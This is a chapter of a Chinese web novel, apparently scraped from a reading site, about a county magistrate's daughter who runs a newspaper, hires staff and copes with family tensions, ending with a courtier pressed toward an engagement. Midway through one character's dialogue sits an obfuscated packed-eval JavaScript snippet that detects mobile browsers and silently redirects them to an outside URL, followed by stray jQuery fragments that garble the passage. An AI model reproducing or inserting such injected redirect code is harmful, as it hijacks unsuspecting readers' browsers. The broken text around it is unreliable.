29. 又一个证书

作品:《吃瓜办报打穿越

    有陈县令插科打诨,陈茵撒娇卖乖,还有陈艺陈节俩兄弟适时的献礼,陈媪很快忘了使小性子,拉着最骄傲的两个孙子心肝宝贝起来。


    吃饱喝足,陈媪亲自抱着爱不释手的渠阳李缂,被陈艺和陈节簇拥着送回后院,陈主妇难掩疲惫自行回主院休息。


    一想到还有陈茵的生母需要哄,陈县令的额头就隐隐作痛,要拉罪魁祸首一起去偏院,共同承担付妾的怒火。


    陈茵奉上精心挑选的礼物求饶,哪敢去见生母哟。


    比起陈媪已经有两个前途光明的孙子,孙女高嫁算锦上添花。付妾唯有一个女儿可以指望,才是最不能接受陈茵低嫁的人!


    在生母真正认清现实前,陈茵绝不会踏入偏院一步。她是真会挨生母的打,而生母每次无理取闹打了她,就会挨母亲的罚。不光她被打得烦,母亲都罚得烦。


    目送父亲风萧萧兮悲壮的身影,她恍惚升起一个念头,该不会,连父亲这个家主,生母都照打不误吧?


    她倏地睁大眼睛,吸着腮帮子,牙齿咬在肉上,瘪嘴,不能笑,父亲还没走远呢!万一父亲听见笑声,非把她抓去偏院怎么办?


    “五姐姐,六姐姐,小七告辞。”


    五岁小豆丁陈茂奶声奶气,眼角挂着泪珠,一双桃花眼氤氲朦胧。他忍不住打了个哈欠,那滴泪珠被眼皮一夹,滚落脸颊。


    陈茵俯身,捏了捏七弟肉嘟嘟的脸颊,拿出两个精致的小盒子:“我们也带了你和八妹的礼物哦,希望你们喜欢。”


    陈茂的小肉手被塞了个满满当当,连忙搂紧要掉不掉的盒子,受宠若惊,悄悄觑一眼默然不语的六姐。


    陈茵摸摸他的小脑袋:“不是困了吗?快去睡吧。”


    陈茂有一瞬目光黯淡,随即展颜:“谢谢姐姐!”


    没关系,至少在这个家,还有五姐记挂他。迈开小短腿,他带着提灯的女使走入黑夜里。


    陈芒梗着脖子:“五姐姐,你想送就送,何必加上我的名义。”


    “六妹妹。”陈茵挽着她的手,“你不是说,不再怨他们了吗?”


    陈芒心情复杂:“我不迁怒他们,就一定要亲近他们吗?”


    “当然不是,随你心情嘛。走吧,我们回房。”


    陈茵并不强求她做些什么,只是在心里默默坚持,以后照顾七弟八妹时,依旧带上六妹的名义,缓和缓和手足间的关系。


    说来话长,七弟才是最委屈的那个。


    父亲膝下已有六个孩子,不愿再添新丁,可不忍心让妾室服用避子药伤身体,索性自己服用,哪承想竟遭张妾算计。张妾暗中调换父亲的避子药,她自己健健康康,一举怀上七弟与八妹这对龙凤胎。这让父亲深感背叛与耻辱,七弟八妹还未出生,便已遭嫌弃。


    当年父母正忙于铲除一方恶霸,孩子来得不合时宜,恰逢恶霸疯狂反扑。为护张妾顺利生产,照顾六妹的桃姑及其丈夫,双双英勇殉职,留下孤儿一个。


    六妹从小没了生母,喝着桃姑的奶长大,不是亲生胜似亲生,自此对张妾恨之入骨,连带着迁怒七弟八妹。


    只是八妹生来病弱,纵有再多情绪也不敢对她发作。于是健康活泼的七弟就悲催了,独自承受全家的冷落和遗忘,孤独成长。


    直到今年,亲近的兄弟姐妹都处在人生分水岭,各自奔波劳碌,难料旦夕祸福。六妹的胸怀和思想,悄然发生巨大的改变,依旧对张妾仇恨不减,但已接受七弟八妹的无辜。


    陈茵以前也会顺手照顾七弟八妹,只是不会加上六妹的名义。而如今,她在元宵节出生,半个月后便十七岁,只有一年时间备嫁,不赶紧推六妹一把,等到分居两地她就鞭长莫及了。


    八妹总是病病殃殃,连家宴都无法出席,没精力培养感情。可明显七弟是很想亲近她们的,既已无仇无怨,那还矫情什么呢?


    陈茵回到小院,陪伴她十六年的旧床,已被言出必行的母亲扔掉,换成外观相似的新床。新床结实,随便怎么翻身都不咔吱作响,珠帘纹丝不动。


    她认床,在失眠的深夜里想念老伙伴。可是奇怪,她在京城苟家就没有认床,每天都睡得香喷喷。


    嗖的一下爬起来,点亮火油灯,摊开纸笔,详细回忆大表嫂是如何布置她的房间的。明天一早,她一定要复刻出来。


    哎呀!差点忘了,还要挑女使呢!


    陈茵向来不喜欢被人贴身伺候,习惯自由自在。何况没有习过武的普通女使,哪里跟得上她的速度,带上就是个累赘。然而这次去京城相看,如冷水浇头让她猛然醒悟。


    如今她自由自在,是因为母亲撑起了一片天。等她成婚后,内宅的琐事管理、家族的人情往来、丈夫的财产经营、自己的嫁妆经营,桩桩件件都要她自己决定。


    若无得力女使从旁协助,她还怎么分出心神给报社?


    陈家现有的女使她都了解,没有中意的,总不能去抢母亲惯用的。在京城时,大表嫂曾特意挑出几个伶俐婢女,让她先用着,若是满意便留在身边。


    可整日面对低眉顺眼、姿态卑微的奴籍女子,她的心里总不是滋味,只能婉拒大表嫂的好意。她选女使,就想选六妹的桃姑那般品性,忠勇仁义,不卑不亢。


    其实眼下就有个合适的人选,刘雯。能利用废弃样品挣外快,与驿站交易许久都未被报社察觉,足见脑子活络;能脱稿独立印刷报纸,足见学习之快;即便被她当场抓住,反而惦记着将报纸发往京城,助力慈济院,足见心地仁善;后来被她聘请辅佐重建慈济院,更是沉稳可靠,无不妥帖。


    熬到天明,陈茵迫不及待让女使去买自己想要的东西。只等东西准备齐全,她就把房间重新布置,否则都睡不好觉。


    随后她顶着红彤彤的眼睛,传讯刘雯过来,先夸赞辅佐重建慈济院的功劳,厚礼相赠,再抿唇一笑,忍羞开口,提出聘为女使之事。


    “刘姐姐。”陈茵递茶,诚恳解释,“名义上是女使,因为只有女使才能留在后院。实际仍是门客,不必伺候衣食住行,只需跟在我身边协助处理事务,不像寻常门客那样在外忙碌。你意下如何呢?”


    刘雯接过茶水,眼中闪过几不可见的挣扎:“社长抬爱,


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17393007|200206||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    感激不尽,愿效犬马之劳!”


    在慈济院跟官员共事三个月,她学会了官腔,但心是真诚的。社长是她的伯乐,她愿意追随,无论以何种身份!


    陈茵见她应得爽快,松了口气:“放心吧,我不会亏待你的,明日就可以搬来入职。”


    偶然一瞥发现她袖中似乎藏着什么东西,陈茵好奇:“你带了什么来?”


    刘雯轻轻一颤,紧抿着唇取出一个红棕色的本子。


    陈茵:……


    好熟悉的配色,好熟悉的质感。


    “你也考到证书了?”


    “主子,我考的是印刷工。”


    陈茵心中泛起波澜,或许刘雯入职报社才合适。留在她身边做跟班,未来最多是个内宅里的管家。若留在报社,以前是涓人,现在是印刷工,未来又会走到哪一步?


    “刘姐姐,我改主意了,你去辅助蓝冬吧,将第一本书的出版做好,这才是你的用武之地。”


    刘雯骤然抬头,难掩惊喜:“社长!”


    陈茵手里是暖乎乎的茶杯,眼里暖洋洋的笑意:“去吧,我很期待你未来的成就。”


    刘雯深深一拜,甚至想跪下:“社长,我绝不让你失望!”


    陈茵书信一封解释原由,盖上印章,让刘雯带去找蓝冬。


    小小的偏厅里重归安静,突然一声叹息,难道自己命中注定不能用女使吗?陈茵皱了皱鼻子,不行啊,她分身乏术,怎么管得来家事和报社。


    等等!她双手一拍,双眼发亮,未来嫁的可是童秀才啊!那么小的家族,那么穷的家底,哪有事情给她忙?这不就是当初选择童秀才的原因吗?


    哎呦!没睡好真的头发昏,竟钻牛角尖去了!


    挑选女使又双叒叕搁置下来了,陈主妇大概也是同样的想法,丝毫不催她。


    远在京城的陆涯,却面临皇帝的催促。他刚忍着心酸,把恭喜陈茵定亲的贺礼寄出去,就被皇帝通知找到了合适的久病之女,要给他定亲。


    勤政殿内寂静无声,龙涎香的白烟幽幽盘旋在雕花窗棂间,压不住空气里充斥的火燥。


    皇帝抬手,重重拍在御案上,笔洗里的水荡起层层涟漪。


    “是你想做鳏夫以绝官配,为何临了又要推脱?”


    陆涯垂首默立,愧疚难当。找一个知情识趣、不会在出嫁女病逝后赖上他的家族不容易,圣上用心良苦。


    明明可以坦然旁观陈茵和楚昭的相处,明明可以笔走龙蛇祝贺陈茵定亲。却不知为何,轮到自己跟别人定亲,他竟生出一种难以名状的恐慌,只想逃避。


    “圣上,鲁鲁莫里传来密报,她新结交的穿越者,吐露了一处隐秘之地,疑似存有大型精神体投射回路,有多名穿越者聚集。此行探查危险莫辨,臣义不容辞。”


    谁叫他是年轻一代魂力最拔尖的呢,师伯师叔只能腾出两个人手,让他加入最适合不过。


    皇帝接过他呈送的密报,那所谓的隐秘之地是在番邦异国,路途遥远。


    “等你归来,或许已是官配之期,先定亲,再出发。”